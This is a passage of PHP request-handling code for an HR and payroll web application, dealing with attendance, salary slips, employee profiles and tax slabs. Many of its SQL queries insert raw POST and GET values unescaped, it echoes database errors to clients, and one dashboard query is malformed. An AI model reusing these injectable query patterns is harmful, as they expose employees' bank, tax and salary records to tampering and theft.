    $remark = mysqli_real_escape_string($db, $_POST['remark']);

    // print_r($_POST);

    if ($_POST['req_status'] == 1) {

        $id = mysqli_fetch_assoc(mysqli_query($db, "select * from issue_with_date where id='$_POST[issue_id]' "));

        $date = explode("to", $_POST['onDate']);
        $from = '';
        $to = '';
        if (sizeof($date) == 2) {
            $from = date('Y-m-d', strtotime(trim($date[0])));
            $to = date('Y-m-d', strtotime(trim($date[1])));
        } else {
            $from = date('Y-m-d', strtotime(trim($date[0])));
            $to = $from;
        }

        ##########################################################################################
        $rData = mysqli_query($db, "SELECT * from attendance where employee_id='$id[employee_id]' and attendance_status not in('Week Off','Holiday') and (str_to_date(which_month,'%M %d %Y') between '$from' and '$to') ");
        $finalColumnsValue = [];
        $attendance_ids = [];
        while ($reData = mysqli_fetch_assoc($rData)) {
            $aValues = array_slice($reData, 0, 6);
            $aValues = array_values($aValues);
            // array_pop($aValues);
            $finalColumnsValue[] = "('" . implode("','", $aValues) . "')";
            $attendance_ids[] = $reData['id'];
        }
        ##########################################################################################

        ##########################################################################################
        if (!empty($finalColumnsValue)) {
            $finalColumnsValue = implode(',', $finalColumnsValue);
            $qi = mysqli_query($db, "INSERT into attendance_change (attendance_id,employee_id,attendance_status,punch_in,punch_out,which_month) values $finalColumnsValue  ");
            if ($qi) {
                // echo "insert";
            } else {
                // echo mysqli_error($db);
            }
        }
        ##########################################################################################

        ##########################################################################################
        if (!empty($attendance_ids)) {
            $attendance_ids = implode(',', $attendance_ids);
            $aq = mysqli_query($db, "UPDATE attendance set attendance_status='$_POST[attendance_status]', attendance_change=1, attendance_change_reason='Change by Issue Request' where employee_id='$id[employee_id]' and id in($attendance_ids)");
            if ($aq) {
                // echo 'Attendance Status Change Successfully.';
            } else {
                // echo mysqli_error($db);
            }
        }
        ##########################################################################################
    }


    ##########################################################################################
    $q = mysqli_query($db, "UPDATE `issue_with_date` SET `issue_status`='$_POST[req_status]', `remark`='$remark', `status_by`='$emp_id', `issue_type`='$_POST[attendance_status]' WHERE `id`='$_POST[issue_id]' ");
    if ($q) {
        // $res = sendRequestStatus(array($_POST['issue_id'], 'IssueStatus'));
        // if ($res == 1) {
            // if ($_POST['req_status'] == 1) {
            // echo "<script>alert('Request Approved Successfully !');</script>";
            echo 1;
            // } else if ($_POST['req_status'] == 2) {
            // echo "<script>alert('Request Rejected Successfully !');</script>";
            // echo 1;
            // } else {
            // }
        // } else {
        //     // echo "<script>alert('Mail not send !');</script>";
        // }
    } else {
        echo mysqli_error($db);
    }
    ##########################################################################################
}

// from notALeave.php
if (isset($_POST['setAttendanceStatus'])) {

    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $attendance_status = mysqli_real_escape_string($db, $_POST['attendance_status']);
    $attendance_comment = mysqli_real_escape_string($db, $_POST['attendance_comment']);
    $date_status = mysqli_real_escape_string($db, $_POST['date_status']);

    $date = explode("to", $date_status);

    $from = '';
    $to = '';
    if (sizeof($date) == 2) {
        $from = date('Y-m-d', strtotime(trim($date[0])));
        $to = date('Y-m-d', strtotime(trim($date[1])));
    } else {
        $from = date('Y-m-d', strtotime(trim($date[0])));
        $to = $from;
    }


    $q = false;
    if ($employee_id == 'all') {

        // #######################################################
        $rData = mysqli_query($db, "SELECT * from attendance where (str_to_date(which_month,'%M %d %Y') between '$from' and '$to') ");
        $finalColumnsValue = '';
        while ($reData = mysqli_fetch_assoc($rData)) {
            $aValues = array_slice($reData, 0, 6);
            $aValues = array_values($aValues);
            // array_pop($aValues);
            $finalColumnsValue .= "('" . implode("','", $aValues) . "'),";
        }
        $finalColumnsValue = trim($finalColumnsValue, ',');
        $qi = mysqli_query($db, "INSERT into attendance_change (attendance_id,employee_id,attendance_status,punch_in,punch_out,which_month) values $finalColumnsValue  ");
        if ($qi) {
            // echo "insert";
        } else {
            // echo mysqli_error($db);
        }
        // ####################################


        $q = mysqli_query($db, "UPDATE attendance set attendance_status='$attendance_status', attendance_change=1, attendance_comment='$attendance_comment', attendance_change_reason='Change by Not a Leave' where str_to_date(which_month,'%M %d %Y') between '$from' and '$to' ");
    } else {

        // #######################################################
        $rData = mysqli_query($db, "SELECT * from attendance where employee_id='$employee_id' and (str_to_date(which_month,'%M %d %Y') between '$from' and '$to') ");
        $finalColumnsValue = '';
        while ($reData = mysqli_fetch_assoc($rData)) {
            $aValues = array_slice($reData, 0, 6);
            $aValues = array_values($aValues);
            // array_pop($aValues);
            $finalColumnsValue .= "('" . implode("','", $aValues) . "'),";
        }
        $finalColumnsValue = trim($finalColumnsValue, ',');
        $qi = mysqli_query($db, "INSERT into attendance_change (attendance_id,employee_id,attendance_status,punch_in,punch_out,which_month) values $finalColumnsValue  ");
        if ($qi) {
            // echo "insert";
        } else {
            // echo mysqli_error($db);
        }
        // ####################################

        $q = mysqli_query($db, "UPDATE attendance set attendance_status='$attendance_status', attendance_change=1, attendance_comment='$attendance_comment', attendance_change_reason='Change by Not a Leave' where employee_id='$employee_id' and (str_to_date(which_month,'%M %d %Y') between '$from' and '$to') ");
    }

    if ($q) {
        echo json_encode(["status"=>200, 'message'=>'Attendance Status Updated Successfully!']);
    } else {
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

if(isset($_POST['notALeave_employee_id'])){
    $att_date = mysqli_fetch_assoc(mysqli_query($db,"SELECT min(str_to_date(which_month,'%M %d %Y')) as min_date, max(str_to_date(which_month,'%M %d %Y')) as max_date FROM `attendance` WHERE employee_id='$_POST[notALeave_employee_id]' "));
    echo json_encode(['min_date'=>date('d M Y', strtotime($att_date['min_date'])), 'max_date'=>date('d M Y', strtotime($att_date['max_date']))]);
}

// from allUsers.php
if (isset($_POST['resetPasswordFunction'])) {

    // echo $_POST['resetPasswordFunction'];
    $val = resetPassword(json_decode($_POST['resetPasswordFunction'], true));
    echo $val;
}

// // from forgot.php
// if (isset($_POST['forgotPasswordFunction'])) {
//     $q = mysqli_query($db, "select * from users where email='$_POST[forgotPasswordFunction]' ");
//     $count = mysqli_num_rows($q);
//     if ($count == 0) {
//         echo 1;
//     } else {
//         $user = mysqli_fetch_assoc($q);
//         $val = resetPassword(array($user['name'], $user['email'], $user['employee_id']));
//         echo $val;
//     }
// }

// from myProfile.php
if (isset($_POST['editableChangeEmployee'])) {

    $data = json_decode($_POST['editableChangeEmployee'], true);
    $name = mysqli_real_escape_string($db, $data['name']);
    $email = mysqli_real_escape_string($db, $data['email']);
    $phone = mysqli_real_escape_string($db, $data['phone']);
    $gender = mysqli_real_escape_string($db, $data['gender']);
    $dob = date("Y-m-d",strtotime(mysqli_real_escape_string($db, trim($data['dob']))));
    $panNo = mysqli_real_escape_string($db, $data['pan_no']);
    $accountNo = mysqli_real_escape_string($db, $data['account_no']);
    $ifscCode = mysqli_real_escape_string($db, $data['ifsc_code']);
    $blood_group = mysqli_real_escape_string($db, $data['blood_group']);


    $epfNo = mysqli_real_escape_string($db, $data['epf_no']);
    $epfNoStatus = 'No';
    $epfApplicableStatus = 'No';
    if ($epfNo != '') {
        $epfNoStatus = 'Yes';
        $epfApplicableStatus = 'Yes';
    } else {
        $pfApp = mysqli_fetch_assoc(mysqli_query($db, "select ctc from employee_salary where employee_id='$emp_id' "));
        $epfApplicableStatus = 'No';
        if(!empty($pfApp)){
            $epfApplicableStatus = (($pfApp['ctc'] / 12) < 15000) ? 'Yes' : 'No';
        }
    }

    $esiNo = mysqli_real_escape_string($db, $data['esic_no']);
    $esiStatus = 'No';
    if ($esiNo != '') {
        $esiStatus = 'Yes';
    }


    $q = mysqli_query($db, "update users set name='$name', email='$email', phone='$phone', dob='$dob', pan_no='$panNo', account_no='$accountNo', ifsc_code='$ifscCode', esi_status='$esiStatus', esi_no='$esiNo', uan_no_status='$epfNoStatus', uan_no='$epfNo', epf_applicable_status='$epfApplicableStatus', gender='$gender', blood_group='$blood_group' where employee_id='$emp_id' ");
    if ($q) {
        echo 1;
    } else {
        echo mysqli_error($db);
    }
}

// from allUsers.php
if (isset($_POST['working_id'])) {

    $working_status = mysqli_real_escape_string($db, $_POST['working_status']);
    $working_status_date = mysqli_real_escape_string($db, $_POST['working_status_date']);
    $working_id = mysqli_real_escape_string($db, $_POST['working_id']);

    $q = mysqli_query($db, "UPDATE users SET working_status='$working_status', working_status_date='$working_status_date', password=NULL, remember_token=NULL where id='$working_id' ");
    if ($q) {
        echo 1;
    } else {
        echo mysqli_error($db);
    }
}

if(isset($_POST['logout_id'])){
    if(!empty($_POST['logout_id'])){
        $logout_id = mysqli_real_escape_string($db, $_POST['logout_id']);
        $sql = "UPDATE users SET remember_token=NULL WHERE id='$logout_id'";
    }else{
        $sql = "UPDATE users SET remember_token=NULL";
    }

    $q = mysqli_query($db, $sql);
    if($q){
        echo 1;
    }else{
        echo mysqli_error($db);
    }
}

// from addSalary.php
if (isset($_POST['fromAddUserEmployeeId'])) {

    $fromAddUserEmployeeId = mysqli_real_escape_string($db, $_POST['fromAddUserEmployeeId']);
    $u = mysqli_fetch_assoc(mysqli_query($db, "select * from users where employee_id='$fromAddUserEmployeeId' "));

    // isset($u['epf_applicable_status']) ? $u['epf_applicable_status'] : 'No'
    echo json_encode($u);
}


// from grievance.php
if (isset($_POST['grievanceSend'])) {

    $grievance = mysqli_real_escape_string($db, $_POST['grievance']);

    $q = mysqli_query($db, "insert into grievance_problem (grievance, e_id) values('$grievance', '$emp_id') ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Your Problem Send Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// from salary.php
if (isset($_POST['requestSalarySlip'])) {

    $id = $_POST['requestSalarySlip'];
    $month = date("Y-m", strtotime($_POST['requestFrom']));
    // $to = $_POST['requestTo'];
    $c_date = date("Y-m-d H:i:s");
    $date = date("Y-m-d");


    $rCount = mysqli_query($db, "SELECT * from request_slip where request_id='$emp_id' and slip_id='$id' and month='$month' ");
    
    if (mysqli_num_rows($rCount) == 0) {
        $q = mysqli_query($db, "INSERT into request_slip (request_id, slip_id, month, status, status_by, request_time) values('$emp_id', '$id', '$month', '1', 'Auto', '$c_date') ");
        
        if ($q) {
            $count = mysqli_num_rows(mysqli_query($db, "SELECT * from request_slip where slip_id='$id' and request_time like '$date%'"));
            if($count==4){
                $ps = array($emp_id, $id, $month);
                $val = sendPaySlipRequestToAdmin($ps);
                echo json_encode(['status'=>200, 'message'=>'Requested Successfully!', 'link'=>"{$url}pay_slip/payslip?slip_id={$_POST['requestSalarySlip']}&from={$_POST['requestFrom']}&to={$_POST['requestTo']}", 'mail'=>$val]);
            }else{
                echo json_encode(['status'=>200, 'message'=>'Requested Successfully!', 'link'=>"{$url}pay_slip/payslip?slip_id={$_POST['requestSalarySlip']}&from={$_POST['requestFrom']}&to={$_POST['requestTo']}"]);
            }
        } else {
            echo json_encode(['status'=>400, 'message'=>'Some error Occurred!', 'error'=>mysqli_error($db)]);
        }
    } else {
        echo json_encode(['status'=>200, 'message'=>'Requested Successfully!', 'link'=>"{$url}pay_slip/payslip?slip_id={$_POST['requestSalarySlip']}&from={$_POST['requestFrom']}&to={$_POST['requestTo']}"]);
    }
    exit();
}

// from paySlipRequest.php
if (isset($_GET['paySlipRequestId'])) {

    $date = date("Y-m-d", strtotime("today +10 day"));

    $q = mysqli_query($db, "update request_slip set status='$_GET[paySlipRequestStatus]', status_by='$emp_id', validity='$date' where id='$_GET[paySlipRequestId]' ");

    if ($q) {
        $ps = array($_GET['paySlipRequestId']);
        $val = sendPaySlipRequest($ps);
        if ($val == 1) {
            echo 1;
            // if ($_GET['paySlipRequestStatus'] == 1) {
            // } else {
            //     echo 2;
            // }
        } else {
            echo 'mail not send';
        }
    } else {
        echo mysqli_error($db);
    }
    // echo "<script>location.href='../paySlipRequest';</script>";
}


// from salary.php
if (isset($_POST['bonusIncentiveSubmit'])) {

    $employee_id = mysqli_real_escape_string($db, $_POST['employee_id']);
    $bonusIncentive_date = mysqli_real_escape_string($db, $_POST['bonusIncentive_date']);
    $bonus = mysqli_real_escape_string($db, preg_replace('/\D/', '', $_POST['bonus']));
    $incentive = mysqli_real_escape_string($db, preg_replace('/\D/', '', $_POST['incentive']));

    $exist = mysqli_num_rows(mysqli_query($db, "select * from employee_bonusIncentive where employee_id='$employee_id' and date='$bonusIncentive_date' "));
    if ($exist == 0) {
        $q = mysqli_query($db, "INSERT INTO `employee_bonusIncentive` (`employee_id`, `bonus`, `incentive`, `date`) VALUES('$employee_id', '$bonus', '$incentive', '$bonusIncentive_date') ");
    } else {
        $q = mysqli_query($db, "UPDATE `employee_bonusIncentive` SET  `bonus`='$bonus', `incentive`='$incentive' WHERE `employee_id`='$employee_id' AND `date`='$bonusIncentive_date' ");
    }

    if ($q) {
        echo json_encode(["status"=>200, 'message'=>'Bonus and Incentive Added Successfully!']);
    } else {
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// from salary.php
if (isset($_POST['bonus_incentive_id'])) {

    $bonus_incentive_id = mysqli_real_escape_string($db, $_POST['bonus_incentive_id']);
    $bonus_incentive_month = mysqli_real_escape_string($db, $_POST['bonus_incentive_month']);

    $data = mysqli_fetch_assoc(mysqli_query($db, "select * from employee_bonusIncentive where employee_id='$bonus_incentive_id' and date='$bonus_incentive_month' "));

    echo json_encode($data);
}

// from dailyWork.php
if (isset($_POST['addWork'])) {

    $workDate = $_POST['workDate'];
    $workTime = $_POST['workDayTime'];
    $hm = $_POST['hm'];
    $work = $_POST['work'];

    $working = array();
    for ($i = 0; $i < sizeof($workTime); $i++) {
        $wt = $workTime[$i] . " " . $hm[$i];
        $w = mysqli_real_escape_string($db, $work[$i]);
        array_push($working, array('time' => $wt, 'text' => $w));
    }
    $json_date = mysqli_real_escape_string($db, json_encode($working));


    $q = mysqli_query($db, "INSERT INTO `dailyWork` (`employee_id`, `work_date`, `work`) VALUES('$emp_id', '$workDate', '$json_date') ");
    if ($q) {
        echo 1;
    } else {
        echo mysqli_error($db);
    }
}

// from dailyWork.php
if (isset($_POST['updateWork'])) {

    // print_r($_POST);

    $workDate = $_POST['workDate'];

    $workTime = $_POST['workDayTime'];
    $hm = $_POST['hm'];
    $work = $_POST['work'];

    $working = array();
    for ($i = 0; $i < sizeof($workTime); $i++) {
        $wt = $workTime[$i] . " " . $hm[$i];
        $w = mysqli_real_escape_string($db, $work[$i]);

        array_push($working, array('time' => $wt, 'text' => $w));
    }
    $json_date = mysqli_real_escape_string($db, json_encode($working));


    $q = mysqli_query($db, "UPDATE `dailyWork` SET `work`='$json_date' WHERE work_date='$workDate' and employee_id='$emp_id' ");
    if ($q) {
        echo 2;
    } else {
        echo mysqli_error($db);
    }
}


// from probation.php
if (isset($_GET['probation_id'])) {

    if ($_GET['probation_value'] == 'Yes') {
        $q = mysqli_query($db, "UPDATE users SET con_after_prob='$_GET[probation_value]' WHERE employee_id='$_GET[probation_id]' ");
    } else {
        $prob = mysqli_fetch_assoc(mysqli_query($db, "SELECT probation_date FROM users WHERE employee_id='$_GET[probation_id]' "));
        $q = mysqli_query($db, "UPDATE users SET con_after_prob='$_GET[probation_value]', working_status='Terminated', working_status_date='$prob[probation_date]' WHERE employee_id='$_GET[probation_id]' ");
    }

    if ($q) {
        echo "<script>location.href='../probation';</script>";
    } else {
        echo mysqli_error($db);
    }
}

// from attendance.php
if (isset($_POST['insert_attendance'])) {
    $insert_emp_id = mysqli_real_escape_string($db, $_POST['insert_emp_id']);
    $insert_att_status = mysqli_real_escape_string($db, $_POST['insert_att_status']);
    $insert_punch_in = mysqli_real_escape_string($db, $_POST['insert_punch_in']);
    $insert_punch_out = mysqli_real_escape_string($db, $_POST['insert_punch_out']);
    $insert_attendance_comment = mysqli_real_escape_string($db, $_POST['insert_attendance_comment']);
    $insert_which_month = date("M d Y", strtotime(mysqli_real_escape_string($db, $_POST['insert_which_month'])));

    $count = mysqli_num_rows(mysqli_query($db, "SELECT * FROM attendance WHERE employee_id='$insert_emp_id' AND which_month='$insert_which_month' "));

    if ($count == 0) {

        $q = mysqli_query($db, "INSERT INTO attendance (employee_id,attendance_status,punch_in,punch_out,which_month,attendance_comment) VALUES('$insert_emp_id','$insert_att_status','$insert_punch_in','$insert_punch_out','$insert_which_month','$insert_attendance_comment')");
        if ($q) {
            // echo "<script>alert('Attendance inserted Successfully !');</script>";
            echo 1;
        } else {
            echo mysqli_error($db);
            exit();
        }
    } else {
        // echo "<script>alert('This employee attendance for $insert_which_month exist.');</script>";
        echo 2;
    }
    // $month = date("Y-m", strtotime($insert_which_month));
    // echo "<script>location.href='../attendance?emp_id=$insert_emp_id&month=$month'</script>";
}

// from attendance.php
if (isset($_POST['revise_attendance'])) {
    $update_emp_id = mysqli_real_escape_string($db, $_POST['update_emp_id']);
    $update_att_status = mysqli_real_escape_string($db, $_POST['update_att_status']);
    $update_punch_in = mysqli_real_escape_string($db, $_POST['update_punch_in']);
    $update_punch_out = mysqli_real_escape_string($db, $_POST['update_punch_out']);
    $update_attendance_comment = mysqli_real_escape_string($db, $_POST['update_attendance_comment']);
    $update_which_month = date("M d Y", strtotime(mysqli_real_escape_string($db, $_POST['update_which_month'])));

    // #######################################################
    $rData = mysqli_query($db, "select * from attendance where which_month='$update_which_month' ");
    $finalColumnsValue = '';
    while ($reData = mysqli_fetch_assoc($rData)) {
        $aValues = array_slice($reData, 0, 6);
        $aValues = array_values($aValues);
        // array_pop($aValues);
        $finalColumnsValue .= "('" . implode("','", $aValues) . "'),";
    }
    $finalColumnsValue = trim($finalColumnsValue, ',');
    $qi = mysqli_query($db, "insert into attendance_change (attendance_id,employee_id,attendance_status,punch_in,punch_out,which_month) values $finalColumnsValue  ");
    if ($qi) {
        // echo "insert";
    } else {
        // echo mysqli_error($db);
    }
    // ####################################


    $q = mysqli_query($db, "UPDATE attendance SET attendance_status='$update_att_status', punch_in='$update_punch_in', punch_out='$update_punch_out', attendance_change=1, attendance_comment='$update_attendance_comment', attendance_change_reason='Change by Manual From attendance' WHERE employee_id='$update_emp_id' AND which_month='$update_which_month' ");

    if ($q) {
        // echo "<script>alert('Attendance updated Successfully !');</script>";
        echo 1;
    } else {
        echo mysqli_error($db);
    }
    // $month = date("Y-m", strtotime($update_which_month));
    // echo "<script>location.href='../attendance?emp_id=$update_emp_id&month=$month'</script>";
}


// from dashboard.php
if (isset($_POST['statusCountDate'])) {

    $monthName = date("F", strtotime(mysqli_real_escape_string($db, trim($_POST['statusCountDate']))));
    $firstDayLast = date('Y-m-01', strtotime(mysqli_real_escape_string($db, trim($_POST['statusCountDate']))));
    $lastDayLast = date('Y-m-t', strtotime(mysqli_real_escape_string($db, trim($_POST['statusCountDate']))));

    $joining = mysqli_query($db, "SELECT t1.*, t2.department_name FROM (SELECT department, COUNT(department) as count FROM users WHERE joining_date BETWEEN '$firstDayLast' and '$lastDayLast' GROUP BY department) t1 INNER JOIN departments t2 on t1.department=t2.id ");
    $newJoining=0;
    $newJoiningPi=[];
    while($join = mysqli_fetch_assoc($joining)){
        $newJoining += $join['count'];
        $newJoiningPi += [$join['department_name']=>$join['count']];
    }

    // 

    $resign = mysqli_query($db, "SELECT t1.*, t2.department_name FROM (SELECT department, COUNT(department) as count FROM users WHERE working_status='Resigned' and (working_status_date BETWEEN '$firstDayLast' and '$lastDayLast') GROUP BY department) t1 INNER JOIN departments t2 on t1.department=t2.id ");
    $resignation=0;
    $resignationPi=[];
    while($res = mysqli_fetch_assoc($resign)){
        $resignation += $res['count'];
        $resignationPi += [$res['department_name']=>$res['count']];
    }

    $terminate = mysqli_query($db, "SELECT t1.*, t2.department_name FROM (SELECT department, COUNT(department) as count FROM users WHERE working_status='Terminated' and (working_status_date BETWEEN '$firstDayLast' and '$lastDayLast') GROUP BY department) GROUP BY department) t1 INNER JOIN departments t2 on t1.department=t2.id ");
    $termination=0;
    $terminationPi=[];
    while($term = mysqli_fetch_assoc($terminate)){
        $termination += $term['count'];
        $terminationPi += [$term['department_name']=>$term['count']];
    }

    echo json_encode(["monthName" => $monthName, "newJoining" => [$newJoining,$newJoiningPi], "resignation" => [$resignation,$resignationPi], "termination" => [$termination,$terminationPi]]);
}

// from dashboard.php
if (isset($_POST['chartsStartDate'])) {

    $from = date('Y-m', strtotime(mysqli_real_escape_string($db, trim($_POST['chartsStartDate']))));
    $to = date('Y-m', strtotime(mysqli_real_escape_string($db, trim($_POST['chartsEndDate']))));

    $linearPayable = [];
    $piPayable = [];
    $piExpenses = [];
    $linearExpenses = [];

    // ###################################################################
    // payable in year range
    $start = $from;
    $end = $to;
    while ($start <= $end) {
        $data = mysqli_fetch_assoc(mysqli_query($db, "SELECT SUM(working_basic_salary) as working_basic_salary, SUM(working_hra) as working_hra, SUM(working_sp_allowance) as working_sp_allowance, SUM(working_books_per) as working_books_per, SUM(bonus) as bonus, SUM(incentive) as incentive FROM employee_yearly_salary WHERE which_month='$start' GROUP BY which_month"));

        $linearPayable += [date("M y", strtotime($start)) => ($data["working_basic_salary"] + $data['working_hra'] + $data["working_sp_allowance"] + $data['working_books_per'] + $data['bonus'] + $data['incentive'])];
        $start = date("Y-m", strtotime("$start +1 month"));
    }
    // payable departement in year
    $dep_payable = mysqli_query($db, "SELECT t3.department_name, SUM(t1.working_basic_salary) as working_basic_salary, SUM(t1.working_hra) as working_hra, SUM(t1.working_sp_allowance) as working_sp_allowance, SUM(t1.working_books_per) as working_books_per, SUM(bonus) as bonus, SUM(incentive) as incentive FROM employee_yearly_salary t1
    INNER JOIN users t2 ON t1.employee_id=t2.employee_id
    INNER JOIN departments t3 ON t2.department=t3.id
    WHERE t1.which_month between '$from' and '$to'
    GROUP BY t2.department ");
    while ($dp = mysqli_fetch_assoc($dep_payable)) {
        $piPayable += [$dp['department_name'] => ($dp["working_basic_salary"] + $dp['working_hra'] + $dp["working_sp_allowance"] + $dp['working_books_per'] + $dp['bonus'] + $dp['incentive'])];
    }
    // ###################################################################
    
    
    // ###################################################################
    // total department in year expenses
    $start = $from;
    $end = $to;
    $monthlyData = [];

    while ($start <= $end) {
        $firstDayLast = date('Y-m-01', strtotime(trim($start)));
        $lastDayLast = date('Y-m-t', strtotime(trim($start)));

        $join_month = date("Y-m", strtotime($firstDayLast));
        $wsDate = date("Y-m", strtotime($lastDayLast));
        $query = "SELECT u.employee_id, u.name, d.department_name, u.joining_date, u.working_status_date, '$firstDayLast' as firstDayLast, '$lastDayLast' as lastDayLast
                FROM users as u 
                INNER JOIN departments d on u.department=d.id
                WHERE (COALESCE(u.joining_date,'') = '' OR DATE_FORMAT(STR_TO_DATE(u.joining_date, '%Y-%m-%d'),'%Y-%m') <= '$join_month')
                AND (COALESCE(u.working_status_date,'')='' OR DATE_FORMAT(STR_TO_DATE(u.working_status_date, '%Y-%m-%d'),'%Y-%m') >= '$wsDate') ";
        $users = mysqli_query($db, $query);

        $newFirstDayLast = $firstDayLast;
        $newLastDayLast = $lastDayLast;
        $yearTotal = 0;
        while ($user = mysqli_fetch_assoc($users)) {
            
            $s_code = salaryCode($user, $firstDayLast, $firstDayLast);
            // print_r($s_code);
            $monthlySalary = $s_code['monthlySalary'];
            $bonus = $s_code['final_salary']['Bonus'];
            $incentive = $s_code['final_salary']['Incentive'];

            $ms = $monthlySalary + $bonus + $incentive;
            if(array_key_exists($user['department_name'],$piExpenses)){
                $piExpenses[$user['department_name']] += $ms;
            }else{
                $piExpenses += [$user['department_name'] => $ms];
            }
            $yearTotal += $ms; 
        }
        $linearExpenses += [date("M y", strtotime($start)) => $yearTotal];
        $start = date("Y-m", strtotime("$start +1 month"));
    }
    // ###################################################################

    // echo json_encode($piExpenses);
    echo json_encode(["linearPayable" => $linearPayable, "piPayable" => $piPayable, "piExpenses" => $piExpenses, "linearExpenses" => $linearExpenses]);
}

// from allUsers.php
if(isset($_POST['employee_time_id'])){

    $punch_in = mysqli_real_escape_string($db,trim($_POST['punch_in_time']));
    $punch_out = mysqli_real_escape_string($db,trim($_POST['punch_out_time']));

    $json_data = '';
    if(!empty($punch_in) && !empty($punch_out)){
        $json_data = json_encode(['punch_in'=>$punch_in, 'punch_out'=>$punch_out]);
    }

    $q = mysqli_query($db,"UPDATE users SET employee_time='$json_data' where id='$_POST[employee_time_id]' ");
    if($q){
        echo 1;
    }else{
        echo mysqli_error($db);
    }

}

// from allUsers.php
if(isset($_GET['employee_get_time_id'])){

    $employee_get_time_id = mysqli_real_escape_string($db, $_GET['employee_get_time_id']);

    $data = mysqli_fetch_assoc(mysqli_query($db,"SELECT employee_time FROM users where id='$employee_get_time_id' "));
    echo $data['employee_time'];
}


// from departments.php
if(isset($_POST['addDepartment_submit'])){
    $dp = mysqli_real_escape_string($db,$_POST['department']);
    $q = mysqli_query($db,"INSERT INTO departments (department_name) VALUES('$dp')");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Department Added Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// from departments.php
if(isset($_POST['updateDepartment_submit'])){
    $dp = mysqli_real_escape_string($db,$_POST['department']);
    $d_id = mysqli_real_escape_string($db,$_POST['edit_department_id']);
    $q = mysqli_query($db,"UPDATE departments set department_name='$dp' WHERE id='$d_id' ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Department Updated Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}


// from tax-slab.php
if(isset($_POST['addTaxSlab_submit'])){
    $financial_year_from = mysqli_real_escape_string($db,$_POST['financial_year_from']);
    $financial_year_to = mysqli_real_escape_string($db,$_POST['financial_year_to']);
    $tax_slab_from = mysqli_real_escape_string($db,preg_replace('/\D/', '', $_POST['tax_slab_from']));
    $tax_slab_to = mysqli_real_escape_string($db,preg_replace('/\D/', '', $_POST['tax_slab_to']));
    $tax_slab_rate = mysqli_real_escape_string($db,preg_replace('/\D/', '', $_POST['tax_slab_rate']));


    $q = mysqli_query($db,"INSERT INTO taxSlabs (year_start, year_end, tax_slab_from, tax_slab_to, tax_slab_rate) VALUES('$financial_year_from', '$financial_year_to', '$tax_slab_from', '$tax_slab_to', '$tax_slab_rate')");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Tax Slab Added Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// from tax-slab.php
if(isset($_POST['updateTaxSlab_submit'])){
    $financial_year_from = mysqli_real_escape_string($db,$_POST['financial_year_from']);
    $financial_year_to = mysqli_real_escape_string($db,$_POST['financial_year_to']);
    $tax_slab_from = mysqli_real_escape_string($db,preg_replace('/\D/', '', $_POST['tax_slab_from']));
    $tax_slab_to = mysqli_real_escape_string($db,preg_replace('/\D/', '', $_POST['tax_slab_to']));
    $tax_slab_rate = mysqli_real_escape_string($db,$_POST['tax_slab_rate']);
    $edit_id = mysqli_real_escape_string($db,$_POST['edit_taxSlab_id']);
    
    $q = mysqli_query($db,"UPDATE taxSlabs set year_start='$financial_year_from', year_end='$financial_year_to', tax_slab_from='$tax_slab_from', tax_slab_to='$tax_slab_to', tax_slab_rate='$tax_slab_rate' WHERE id='$edit_id' ");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Tax Slab Updated Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// from designations.php
if(isset($_POST['addDesignation_submit'])){
    $dp = mysqli_real_escape_string($db,$_POST['designation']);
    $q = mysqli_query($db,"INSERT INTO designations (designation_name) VALUES('$dp')");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Designation Added Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// from designations.php
if(isset($_POST['updateDesignation_submit'])){
    $dp = mysqli_real_escape_string($db,$_POST['designation']);
    $d_id = mysqli_real_escape_string($db,$_POST['edit_designation_id']);
    $q = mysqli_query($db,"UPDATE designations set designation_name='$dp' WHERE id='$d_id'");
    if($q){
        echo json_encode(["status"=>200, 'message'=>'Designation Updated Successfully!']);
    }else{
        echo json_encode(["status"=>500, 'message'=>'Some Error Occurred!', 'error'=>mysqli_error($db)]);
    }
}

// from designations.php
if(isset($_GET['updateDesignation_submit2'])){
